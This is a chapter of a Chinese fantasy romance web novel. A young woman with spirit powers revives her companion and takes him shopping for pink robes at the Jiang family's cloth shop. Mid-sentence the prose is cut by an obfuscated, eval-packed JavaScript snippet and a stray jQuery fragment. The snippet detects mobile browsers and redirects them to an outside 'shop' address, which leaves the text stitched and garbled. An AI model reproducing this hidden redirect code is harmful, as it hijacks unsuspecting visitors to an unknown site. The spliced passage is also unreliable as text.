回到钟离府后,钟离明月肩上的青色光团又大了一些。而谢怀逸依旧躺在窗边的榻上,睫毛在昏黄的烛火下投下一片阴影,呼吸均匀,神情恬静,睡得毫无防备。

    太阴星君熟练的双指并起,那团青色光团随着她指尖的移动,被月光托起,指引向榻上那人的眉心处。

    青光如水滴进入溪流,连涟漪都没泛起,边缓缓融入。

    太阴星君的手悬在他的额头之上,感受他神识的恢复,确认无误后才收回手,转身对钟离明月说道:“人没事了,等到天亮就可以睡醒了。结界我已经散了,我先走了。”

    天边泛起鱼肚白,围绕而上的月色结界不知何时已经全部消散。

    钟离明月看着太阴星君往外走的身影追了两步道:“等等,暮蝉的身体。”

    太阴星君脚步顿住,无奈又好笑的转过身看着她道:“所以我现在去你那丫鬟的卧房躺下再走。不然你准备让她的身体直接倒在地上?然后她睁眼问你为什么她会在这?”

    “对哦……”钟离明月摸摸脑袋,嘿嘿一笑继续说道,“那你快去吧,下次见!”

    太阴星君无奈的摇摇头,轻声喃喃说了句:“小没良心的。”然后便向暮蝉的卧房继续走。

    第二天一早,谢怀逸在榻上醒来时,钟离明月正躺在里屋的床上睡得四仰八叉。

    谢怀逸看着周围陌生的房间,几乎是第一时间拿起了一旁的剑,眼底满是警惕,直至偏头看见熟悉的院子,握剑握到泛白的手指关节才微微放松,但很快又重新警惕起来。

    往外走了两步,用剑鞘挑起外屋的帘子,目光一寸寸扫过,查看是否有不对劲的地方。

    钟离明月听见动静,揉着眼掀开床帘看他:“醒了?”

    她还穿着昨日的衣裳,此刻微微有些乱,领口和衣袖都皱着,腰带也有些松垮。谢怀逸呼吸轻了一顺,随即偏开头,耳根泛起一丝不易察觉的红,但很快又变成那副警惕模样。

    钟离明月倒是不怵他,慢悠悠地起身理了理衣袖才开口道:“别紧张,我不是幻觉。”

    谢怀逸的手松了一瞬,声音还带着些不确定和沙哑:“你怎么知道。”

    “你昨天晕倒在那个窄巷里了,一直到半夜都没回来。我去把你拖回来的。”钟离明月扇了扇一旁的熏香,头也没抬。

    谢怀逸低头看了看自己的身形,虽然不壮,但肯定算不上瘦弱,又看了看钟离明月的,身形纤细,只到他下颌。

    一个人把他抬回来的吗?

    谢怀逸难得有些迟疑,目光不断在两人之间流转。钟离明月也注意到了他的目光站起身解释道:“真的,拖回来的。你背后衣服还被磨破了,你要不要先回去换一下?”

    他下意识地摸上自已的后背,确实有一块破了。谢怀逸耳根一红,顾不上别的,匆匆拱了拱手,说了句:“在下先去换身衣裳。”话音未落便逃似的仓皇跑出去,甚至还是后退到门槛才敢转身。

    转身时还被门槛绊了一下,钟离明月没忍住低头肩膀一耸一耸的,谢怀逸听到动静后,脚步更快了。

    钟离明月换好衣服,又往熏炉里添了些新香料,坐在院子内喝了杯茶,门外依旧人影空空。

    “暮蝉,去西厢房看看谢公子,要是他没衣服穿了就去表哥房里借一件送去。”

    暮蝉点了点头,往外跑去,正好撞上回来的谢怀逸。

    “不用麻烦,在下还有一身衣裳。”他微微偏开头,表情有些不自然。

    钟离明月转头望去,谢怀逸换了一身桃夭粉的半臂外袍,内里的玉白广袖上绣着更淡些的粉色流云纹,边上用银丝镶边,腰上的绦带打了个十字扣,末端坠着两颗白里带粉的玉珠,头发也已用白玉发冠重新束过,腰间的佩剑也擦拭得锃亮。

    察觉到对方的目光在自己身上停留,谢怀逸依旧偏头,看着不知哪处的风景,闷闷道:“就这一件了,以往没穿过,其他的都拿去浆洗的,还没干。你要是觉得怪,那我……”

    “好看。”钟离明月笑眼弯弯地走到他身边,来回转着圈打量着,“你穿粉色好好看哦。”

    谢怀逸僵在原地,握剑的手不自觉紧了紧。“是吗?”他完全不敢看钟离明月,钟离明月绕到哪他的头便偏向另一方。

    “真的呀,快进来坐吧。等说完事,我再带你上街买几件粉衣裳。”

    谢怀逸刚坐下,拿起一杯茶,听见这话差点呛到,“咳咳,昨夜的事,你还记得多少?”他的声色已经恢复以往的清冽,但耳根依旧有些粉,像是他新衣的颜色。

    “记得不少。”钟离明月咬了口桃花酥,又递了块给他,“你很久都没回来,我就去找你,发现你在巷子里靠墙坐着,剑出了鞘,但身上没伤,剑上没血,旁边也没人,我就把你拖回来了,你比看起来重。”

    谢怀逸听到后半句,刚刚蹙起的眉松了些,接过那块桃花酥但没吃。

    “我追进巷子之后的事,记不太清。只记得很冷。好像还有很多影子。”

    钟离明月嚼桃花酥的动作停了一瞬,但很快又恢复,问道:“影子?谁的影子?”

    谢怀逸摇了摇头道:“记不清了,也可能根本没看清。”

    钟离明月若有所思地点点头道:“那你可能中了迷药出现幻觉了吧?又冷又是影子的,要不要帮你找个大夫?”

    “不必,我对我的身体有数。”谢怀逸摆了摆手,咬了一口桃花酥。

    晨光一寸一寸的爬上石桌,碟子里的桃花酥也一块一块的变矮,钟离明月吃完后拍拍手上的碎屑站起身道:“吃完了,走吧,带你去买衣服。”

    早上的宋州城热闹非凡,街道两边店铺林立,卖包子的摊贩正将新一炉的笼屉打开,暖烘烘的热浪翻涌升腾,又在晨光中缓缓散去。

    街边的店铺已经都开了,掌柜和小二正站在门口吆喝。钟离明月的脚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838864|211573||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    步停在了一间布店门前,彩绘雕花门匾上写着四个龙飞凤舞的大字:“江氏布行”。

    江家的产业。

    谢怀逸也认出来了,微微侧头看向钟离明月:“在这买?”

    钟离明月点点头,率先迈入门内道:“在这买,顺便看看那李氏母子有没有在别的地方下手。”

    听见这话,谢怀逸迈出的脚步停了一瞬才踩实,走到钟离明月身侧,声音压得低,面上却没什么波澜,四处看着像是个普通顾客:“那对母子还不老实?”

    “嗯,他们去府衙告状了,但被我舅舅压下去了。”

    话音落下,旁边传来一声极低的轻笑,钟离明月转头望去,谢怀逸却依旧面不改色的看着布料。

    “你笑什么。”钟离明月目光也看向那匹布料,暗江绸,江氏的招牌。阳光下能显出波光粼粼的水纹,碰了水会晕染开一寸寸不同的颜色,等到干了,又会恢复原来的模样。宋州经常有小姐在下雨天穿着出门,就为了看那不一样的色彩。

    谢怀逸的目光依旧停留在那匹暗江绸上,片刻后才淡笑着开口:“没什么。只是想起齐琛之前跟我说,他表妹在宋州城横着走,没人敢拦。当时以为他夸张,现在看,他说得还是保守了。”

    钟离明月也没反驳,片头望向他:“你喜欢这匹布?”偏头喊来掌柜,“掌柜的,帮他量一下身,裁两身衣服,都用这暗江绸。”

    谢怀逸偏头看她:“一件就够了。”

    钟离明月却笑着道:“你穿粉色好看,买两件不一样的粉色换着穿。掌柜的,今日的衣服记在钟离家的账上。”

    掌柜连声应下,拿着软尺上前给谢怀逸量身。

    谢怀逸站在那儿,双臂微张,任由掌柜摆布,表情依旧是那副波澜不惊的模样,但耳根那抹粉色从方才就没褪下去过。

    量身完毕,掌柜去后间取料子,钟离明月趁这空档在店里转了一圈,目光看似随意地从货架上的布匹一一扫过,都是正经料子,没有异常。

    她走到柜台边,不动声色地将手搭在台面上,指尖一道极细的灵光渗入账册,没有桃花散气味。

    看来李家母子和他们背后的人还没来得及对江家的产业下手,或者说还没来得及把手伸到这家店。

    两人拿着布料从江氏布行出来时,街上的早市还没散,卖包子的摊贩正在卸第二笼,米糕摊前排了七八个人,老板娘一边称重一边跟熟客闲聊,说昨晚巷子里不知谁放了一夜的爆竹,吵得她整宿没睡好。

    几个住在附近的客人也点点头接话道:“是啊,昨晚冷的不正常,我家狗都一直往屋子里钻。”

    一旁正在吃包子的一个顾客疑惑地抬起头:“嗯?我也住那附近啊,我怎么没感觉到?”

    钟离明月脚步顿了一下,继续往前走。那些东西只有敏感些的凡人能察觉到,爆竹声是她的红线与阴气抗衡是的声音,冷风是阴气带来的肢体感觉。